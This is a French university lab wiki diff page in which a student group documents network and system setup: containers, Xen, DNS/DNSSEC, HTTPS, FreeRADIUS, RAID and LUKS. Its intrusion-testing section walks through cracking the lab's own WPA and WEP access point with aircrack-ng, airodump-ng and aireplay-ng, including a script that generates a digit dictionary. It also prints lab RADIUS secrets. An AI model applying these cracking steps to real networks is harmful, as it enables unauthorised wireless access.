TP sysres IMA5sc 2018/2019 G7 : Différence entre versions

De Wiki d'activités IMA
(Crackage de clé WPA)
(4.4 DNSSEC)
 
(40 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 247 : Ligne 247 :
 
===Schéma résumant le câblage réalisé :===
 
===Schéma résumant le câblage réalisé :===
  
[[Fichier:ArchitectureMehCret.png|1500px]]
+
[[Fichier:ArchitectureMehCret.png|1200px]]
  
==Installation des systèmes d'exploitation==
+
== 2.Installation des systèmes d'exploitation==
  
 
===Création de la machine virtuelle===
 
===Création de la machine virtuelle===
Ligne 296 : Ligne 296 :
 
   mount -a
 
   mount -a
  
===Service internet===
+
==4.Services internet==
  
  
====Serveur DNS====
+
===4.2 Serveur DNS===
  
 
Achat du domaine hercule.pw sur gandi.
 
Achat du domaine hercule.pw sur gandi.
Ligne 308 : Ligne 308 :
  
 
Modification de la configuration de bind9 :
 
Modification de la configuration de bind9 :
On créé un fichier de configuration de zone db.hercule.pw dans /etc/bind/ avec le contenu suivant :  
+
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant :  
  
 
  ;
 
  ;
Ligne 315 : Ligne 315 :
 
  $TTL 604800
 
  $TTL 604800
 
  @ IN SOA ns.hercule.space. root.hercule.space (
 
  @ IN SOA ns.hercule.space. root.hercule.space (
  2 ; Serial
+
  3 ; Serial
 
  604800 ; Refresh
 
  604800 ; Refresh
 
  86400 ; Retry
 
  86400 ; Retry
Ligne 323 : Ligne 323 :
 
  IN NS ns.hercule.space.
 
  IN NS ns.hercule.space.
 
  IN NS ns6.gandi.net
 
  IN NS ns6.gandi.net
 +
@      IN      A      193.48.57.183
 
  ns IN A 193.48.57.183
 
  ns IN A 193.48.57.183
 
  www IN A 193.48.57.183
 
  www IN A 193.48.57.183
Ligne 331 : Ligne 332 :
 
         type master;
 
         type master;
 
         file "/etc/bind/db.hercule.space";  
 
         file "/etc/bind/db.hercule.space";  
         allow-transfer {213.167.229.2;217.70.187.25;};
+
         allow-transfer {217.70.177.40;};
 
  };
 
  };
  
Ligne 346 : Ligne 347 :
 
   DNS 1 : ns.hercule.space
 
   DNS 1 : ns.hercule.space
  
On laisse ceux de Gandi pour les deux serveurs esclaves
+
On laisse ceux de Gandi pour les deux serveurs esclaves.
  
ZONES INVERSES A FAIRE
 
  
====Serveur Apache====
+
===4.4 DNSSEC===
 +
 
 +
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :
 +
  dnssec-enable yes;
 +
 
 +
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs
 +
 
 +
Création de la clef asymétrique de signature de clefs de zone :
 +
 
 +
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
 +
:
 +
Création de  la clef asymétrique de la zone pour signer les enregistrements :
 +
 
 +
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space
 +
 
 +
On renomme ces clef :
 +
  hercule.space-ksk.key
 +
  hercule.space-zsk.key
 +
 
 +
Puis on les inclus dans le fichier /etc/bind/db.hercule.space
 +
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
 +
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key
 +
 
 +
On signe les enregistrements de la zone :
 +
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk
 +
 
 +
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :
 +
  file "/etc/bind/db.hercule.space.signed";
 +
 
 +
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.
 +
 
 +
Nous vérifions sous dnsviz.net le bon fonctionnement du DNSSEC :
 +
 
 +
[[Fichier:DNSSEC G7.png|500px]]
 +
 
 +
===4.3 Serveur Apache===
  
  
Ligne 369 : Ligne 404 :
 
                 ServerName www.hercule.space
 
                 ServerName www.hercule.space
 
                 ServerAlias hercule.space
 
                 ServerAlias hercule.space
                 DocumentRoot /var/www/www.hercule.space/
+
                 DocumentRoot /var/www/html/
 
                 CustomLog /var/log/apache2/secure_acces.log combined
 
                 CustomLog /var/log/apache2/secure_acces.log combined
 
   
 
   
 
                 SSLEngine on
 
                 SSLEngine on
                 A COMPLETER POUR LE CERTIFICAT
+
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
        </VirtualHost>
+
                SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
ServerName "www.hercule.space"
+
                SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
 +
                SSLVerifyClient None
 +
  </VirtualHost>
 +
 
 +
  <VirtualHost 193.48.57.183:80>
 +
                ServerName www.hercule.space
 +
                ServerAlias hercule.space
 +
                Redirect / https://www.hercule.space
 +
  </VirtualHost>
 +
 
  
 
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :
 
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :
Ligne 381 : Ligne 425 :
 
   Listen 80 443
 
   Listen 80 443
  
===Crackage de clé WPA===
+
On active enfin le module SSL, notre site, et on redémarre le service apache :
 +
  a2enmod ssl
 +
  a2ensite hercule.space.conf
 +
  service apache2 restart
 +
 
 +
[[Fichier:Httpshercule.png|1000px|center]]
 +
 
 +
===Serveur Freeradius===
 +
 
 +
Installation de Freeradius sur la vm :
 +
  apt-get install freeradius
 +
 
 +
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute :
 +
  hercule Cleartext-Password := "glopglop"
 +
 
 +
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers :
 +
 
 +
- /etc/freeradius/3.0/mods-enabled/eap :
 +
  default_eap_type = peap
 +
 
 +
- /etc/freeradius/3.0/mods-enabled/mschap :
 +
  use_mppe = yes
 +
  require_encryption = yes
 +
  require_strong = yes
 +
  with_ntdomain_hack = yes
 +
 
 +
 
 +
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :
 +
  client 192.168.0.10/32
 +
  {
 +
  secret = secretIMA5SC
 +
  shortname = borneDivinite
 +
  }
 +
 
 +
  client 192.168.0.11/32
 +
  {
 +
  secret = secretIMA5SC
 +
  shortname = borneDivinite
 +
  }
 +
 
 +
 
 +
On met à jour la configuration :
 +
  ldconfig
 +
 
 +
Et enfin, nous lançons le service freeradius :
 +
  $ service freeradius restart
 +
 
 +
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :
 +
 
 +
enable
 +
 
 +
conf t
 +
aaa new-model
 +
aaa authentication login eap_group17 group radius_group17
 +
aaa group server radius radius_group17
 +
server 193.48.57.183 auth-port 1812 acct-port 1813
 +
radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC
 +
end
 +
 
 +
conf t
 +
dot11 ssid Hercule
 +
vlan 17
 +
authentication open eap eap_group17
 +
authentication network-eap eap_group17
 +
authentication key-management wpa
 +
Mbssid Guest-mode
 +
end
 +
 
 +
conf t
 +
int dot11radio0
 +
Mbssid
 +
ssid Hercule
 +
encryption vlan 17 mode ciphers aes-ccm tkip
 +
end
 +
 
 +
conf t
 +
int dot11radio0.17
 +
encapsulation dot1Q 17
 +
bridge-group 17
 +
end
 +
 
 +
== 5. Tests d'intrusion ==
 +
===5.3 Crackage de clé WPA===
  
 
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :
 
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :
Ligne 387 : Ligne 513 :
 
  $ iwconfig
 
  $ iwconfig
  
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :
+
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:
  
 
  $ airmon-ng start wlp2s0
 
  $ airmon-ng start wlp2s0
Ligne 393 : Ligne 519 :
 
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :
 
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :
  
  $ airodump-ng  wlp2s0
+
  $ airodump-ng  wlp2s0mon
  
 
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :
 
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :
  
  $ airodump-ng -c 9 -bssid 04:DA:d2:9C:50:56 -w ./path/cracotte07 wlp2s0
+
  $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon
 +
 
 +
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :
 +
 
 +
#!/bin/bash
 +
charset=({0..9})
 +
permute(){
 +
  (($1 == 0)) && { echo "$2"; return; }
 +
  for char in "${charset[@]}"
 +
  do
 +
    permute "$((${1} - 1 ))" "$2$char"
 +
  done
 +
}
 +
permute "$1"
 +
 
 +
Que nous laçons en exécutant :
 +
 
 +
$ ./comb.sh 8 >> dictionnaire.txt
 +
 
 +
Le crack est effectué en lançant la commande :
 +
 
 +
$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap
 +
 
 +
Nous récupérons la clé après quelques heures de calcul :
 +
 
 +
[[Fichier:Crack groupe7.png|600px|center]]
 +
 
 +
===5.2 Cassage de clé WEP===
 +
 
 +
 
 +
Nous affichons ainsi nos interfaces avec la commande :
 +
 
 +
$ iwconfig
 +
 
 +
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:
 +
 
 +
$ airmon-ng start wlx40a5ef012c92
 +
 
 +
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :
 +
 
 +
$ airodump-ng --encrypt wep wlan0mon
 +
 
 +
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :
 +
 
 +
$ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon
 +
 
 +
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake :
 +
$ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon
 +
 
 +
On réalise le cassage :
 +
$ aircrack-ng ./path_to_folder/cracotte07.cap
 +
 
 +
 
 +
 
 +
[[Fichier:cassagewep07.png|600px|center]]
 +
 
 +
== 6. Réalisation ==
 +
 
 +
===6.1 Sécurisation de données===
 +
 
 +
Création de trois partitions LVM de 1Go sur Cordouan :
 +
  lvcreate -L 1G -n /dev/virtual/hercule1 -v
 +
  lvcreate -L 1G -n /dev/virtual/hercule2 -v
 +
  lvcreate -L 1G -n /dev/virtual/hercule3 -v
 +
 
 +
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :
 +
 
 +
  'phy:/dev/virtual/hercule1,xvdc1,w',
 +
  'phy:/dev/virtual/hercule2,xvdc2,w',
 +
  'phy:/dev/virtual/hercule3,xvdc3,w'
 +
 +
 
 +
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :
 +
  apt-get install mdadm
 +
 
 +
Création du RAID5 :
 +
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
 +
 
 +
On formate le RAID créé :
 +
  mkfs -t ext4 /dev/md0
 +
 
 +
On monte le RAID dans notre VM :
 +
  mount /dev/md0 /mnt
 +
 
 +
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.
 +
On relance la VM. Puis on essaye de remonter le RAID :
 +
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande :
 +
  cat /proc/mdstat
 +
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier :
 +
  mount /dev/md127 /mnt
 +
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.
 +
 
 +
[[Fichier:Raidhercule.png|600px|center]]
 +
 
 +
===6.2 Cryptage de données===
 +
 
 +
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :
 +
 
 +
$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v
 +
 
 +
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.
 +
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :
 +
 
 +
$ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1
 +
 
 +
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.
 +
 
 +
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :
 +
 
 +
$ cryptsetup luksOpen /dev/xvdd1 home
 +
 
 +
Nous la formatons en ext4 :
 +
 
 +
$ mkfs -t ext4 /dev/mapper/home
 +
 
 +
Enfin, nous montons la partition sous /mnt :
 +
 
 +
$ mount -t ext4 /dev/mapper/home /mnt
 +
 
 +
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.

Version actuelle datée du 21 décembre 2018 à 18:23

Wiki de TP

TP GIS

Conteneurs "à la main"

Mise en place des conteneurs

  • Création d'une partition:
  dd if=/dev/zero of=/disk1 bs=1024K count=10240
  • Formatage :
  mtfs.etx4 /disk1
  • Montage de la partition:
  mount /disk1 /mnt
  • Installation d'un système Debian:
  debootstrap --include=apache2,nano stable /mnt 
  • Préparation du montage du pseudo système de fichier /proc:
  echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab
  • Démontage :
  umount /mnt
  • Copie en 2 exemplaires:
  cp /disk1 /disk2
  cp /disk1 /disk3
  • Montage des 3 partitions :
  mount -oloop /disk1 /mnt/dsk1
  mount -oloop /disk2 /mnt/dsk2
  mount -oloop /disk3 /mnt/dsk3
  • Création du processus isolé par unshare:
  unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c "mount /proc ; /bin/bash"
  unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c "mount /proc ; /bin/bash"
  unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c "mount /proc ; /bin/bash"

Configuration réseau

  • Création d'un commutateur logiciel:
   ip link add mehcret2 type bridge
  • Création des interfaces virtuelles:
   ip link add vif1 type veth peer name eth0@vif1
   ip link add vif2 type veth peer name eth0@vif2
   ip link add vif3 type veth peer name eth0@vif3
   ip link add vif4 type veth peer name eth1@vif4
  • Ajout d'interfaces dans le commutateur :
   ip link set vif1 master mehcret2
   ip link set vif2 master mehcret2
   ip link set vif3 master mehcret2
   ip link set vif4 master bridge
  • Activation des interfaces:
   ip link set eth0 up
   ip link set eth1 up
  • Récupération du PID des conteneurs :
   ps auxwww | grep unshare
  • Ajout des interfaces dans les conteneurs :
   ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)
   ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)
   ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)
   ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)
  • Activation du pont:
   ip address add dev mehcret2 192.168.60.0/24
  • Attribution des adresses:
   ip address add dev eth0 192.168.60.51/24 (dsk1)
   ip address add dev eth0 192.168.60.52/24 (dsk2)
   ip address add dev eth0 192.168.60.53/24 (dsk3)
   ip address add dev eth1 172.26.145.67/24 (dsk2)
   ip route add default via 172.26.145.254 (dsk2)
  • Activation :
   ip link set eth0 up
   ip link set vif1 up
   ip link set vif2 up
   ip link set vif3 up
   ip link set vif4 up
   ip link set mehcret2 up

On peut désormais pinger entre les différents conteneurs.

Configuration des serveurs Web

Nous devons maintenant mettre en place les serveurs apache.

Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine plil.space, on ajoute les enregistrements suivants :

- mndtMehcret A 172.26.145.67 (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)

- web1Mehcret CNAME mndtMehcret (Serveur web du conteneur 1)

- web2Mehcret CNAME mndtMhecret (Serveur web du conteneur 3)

On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :

   <VirtualHost *:80>
     ServerName web1mehcret.plil.space
     Options Indexes FollowSymLinks
     DocumentRoot /var/www/html/web1mehcret/
   </VirtualHost> 

On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés. On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web.

Il faut maintenant mettre en place le reverse proxy. Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :

   <VirtualHost *:80>
     ServerName mndtMehcret.plil.space
     ProxyPass "/web1" "http://192.168.60.51/"
     ProxyPassReverse "/web1" "http://192.168.60.51/"
     ProxyPass "/web2" "http://"http://192.168.60.53/"
     ProxyPassReverse "/web2" "http://192.168.60.53/"
   </VirtualHost>

Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.

Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :

    $ service apache2 restart

Pour utiliser apache en mode reverse proxy, on execute la commande :

    $ a2enmod proxy proxy_http

11h25 : Serveurs Web unshare OK

Conteneurs Docker

Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables. Nous exécutons ensuite la commande :

   $ iptables-save

Puis on redémarre le service Docker :

   $ service docker restart

Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.

Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :

   $ docker run -i -t  debian

Dans le conteneur, nous ajoutons le proxy de l'école :

   $ export http_proxy=http://proxy.polytech-lille.fr:3128/ 

Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:

   $ apt-get update
   $ apt-get install apache2, nano, vim

On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires :

   $ docker commit [IDduConteneur] mehcret

On créé un réseau Docker pour isoler nos conteneurs ensemble :

   $ docker network create --driver bridge mehcretnetwork

Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine :

   $ docker run -i --network mehcretnetwork --name mehcret1 mehcret
   $ docker run -i --network mehcretnetwork --name mehcret2 mehcret
   $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret

Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A. Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.


10h30 Serveurs Web (docker) OK


TP PRA

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.

Tâche 5 : Câblage, connexion SR52, cordouan

Connexion des routeurs au réseau de l'école

  • Connexion SR52 - Routeur ISR4221 (E306)

Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.

Sur le routeur, on passe le port 21 sur le vlan 131 :

  config t
  int gi1/0/21
  switchport access vlan 131
  write

En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.

Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :


  • Connexion SR52 - Routeur Catalyst 3560 (E304)

En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.


Connexion des commutateurs aux routeurs

  • Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)

Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.

  • Connexion Routeur ISR 4221 - Commutateur 6000 (E306)

Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.

  • Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304)

La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.

  • Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304)

La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.

Connexions au serveur Cordouan

Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM.

  • Connexion Commutateur 6000 (E306) - Serveur Cordouan

Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.

  • Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan

Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.

Connexion des commutateurs aux points d'accès

Schéma résumant le câblage réalisé :

ArchitectureMehCret.png

2.Installation des systèmes d'exploitation

Création de la machine virtuelle

Création d'une machine virtuelle sur cordouan.insecserv.deule.net :

  xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen

Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg

 vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']
 xen create hercule.cfg
 

On vérifie que la machine est bien créée en s'y connectant :

 xl console hercule

Création des partitions logiques sur Cordouan pour la machine virtuelle :

  lvcreate -L 10G -n /dev/virtual/hercule-home -v
  lvcreate -L 10G -n /dev/virtual/hercule-var -v
   

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :

  'phy:/dev/virtual/hercule-home,xvdb1,w',
  'phy:/dev/virtual/hercule-var,xvdb2,w'

On relance la VM. On formate les disques créés sur la machine :

  mkfs -t ext4 /dev/xvdb1
  mkfs -t ext4 /dev/xvdb2

Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :

  /dev/xvdb1 /home ext4 defaults 0 2

Puis on effectue le montage :

  mount -a 

Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire :

  mount /dev/xvdb2 /mnt

On déplace ensuite le contenu de var dans le point de montage précédemment créé :

  mv /var/* /mnt

Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :

  /dev/xvdb2 /var ext4 defaults 0 2

On applique les modifications :

  mount -a

4.Services internet

4.2 Serveur DNS

Achat du domaine hercule.pw sur gandi.

Installation de bind9:

  apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 : On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL	604800
@	IN	SOA	ns.hercule.space. root.hercule.space (
			3	; Serial
			604800	; Refresh
			86400	; Retry
			2419200	; Expire
			604800 )	; Negative Cache TTL
;
	IN	NS	ns.hercule.space.
	IN	NS	ns6.gandi.net
@      IN      A       193.48.57.183
ns	IN	A	193.48.57.183
www	IN	A	193.48.57.183

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
        type master;
        file "/etc/bind/db.hercule.space"; 
        allow-transfer {217.70.177.40;};
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

Redémarrage du serveur bind9 :

 service bind9 restart

Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP :

 name : ns.hercule.space
 IP address : 193.48.57.183

Changement du nameserver principal sur Gandi (A FAIRE):

 DNS 1 : ns.hercule.space

On laisse ceux de Gandi pour les deux serveurs esclaves.


4.4 DNSSEC

Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :

  dnssec-enable yes;

Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs

Création de la clef asymétrique de signature de clefs de zone :

 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
:

Création de la clef asymétrique de la zone pour signer les enregistrements :

 dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space

On renomme ces clef :

 hercule.space-ksk.key
 hercule.space-zsk.key

Puis on les inclus dans le fichier /etc/bind/db.hercule.space

 $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
 $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key

On signe les enregistrements de la zone :

 dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :

 file "/etc/bind/db.hercule.space.signed";

On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.

Nous vérifions sous dnsviz.net le bon fonctionnement du DNSSEC :

DNSSEC G7.png

4.3 Serveur Apache

Création du dossier /var/www/www.hercule.pw

  • Certification SSL :

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :

  openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

  • Configuration Apache :

Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf

 <VirtualHost 193.48.57.183:443>
                ServerName www.hercule.space
                ServerAlias hercule.space
                DocumentRoot /var/www/html/
                CustomLog /var/log/apache2/secure_acces.log combined

                SSLEngine on
                SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
                SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
                SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
                SSLVerifyClient None
 </VirtualHost>
 <VirtualHost 193.48.57.183:80>
                ServerName www.hercule.space
                ServerAlias hercule.space
                Redirect / https://www.hercule.space
 </VirtualHost>


Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :

 Listen 80 443

On active enfin le module SSL, notre site, et on redémarre le service apache :

 a2enmod ssl
 a2ensite hercule.space.conf
 service apache2 restart
Httpshercule.png

Serveur Freeradius

Installation de Freeradius sur la vm :

 apt-get install freeradius

On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute :

 hercule Cleartext-Password := "glopglop"

Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers :

- /etc/freeradius/3.0/mods-enabled/eap :

 default_eap_type = peap

- /etc/freeradius/3.0/mods-enabled/mschap :

 use_mppe = yes
 require_encryption = yes
 require_strong = yes
 with_ntdomain_hack = yes


On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :

 client 192.168.0.10/32 
 {
  secret = secretIMA5SC
  shortname = borneDivinite
 }
 client 192.168.0.11/32 
 {
  secret = secretIMA5SC
  shortname = borneDivinite
 }


On met à jour la configuration :

 ldconfig

Et enfin, nous lançons le service freeradius :

 $ service freeradius restart

Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :

enable
conf t
aaa new-model
aaa authentication login eap_group17 group radius_group17
aaa group server radius radius_group17
server 193.48.57.183 auth-port 1812 acct-port 1813
radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC
end
conf t
dot11 ssid Hercule
vlan 17
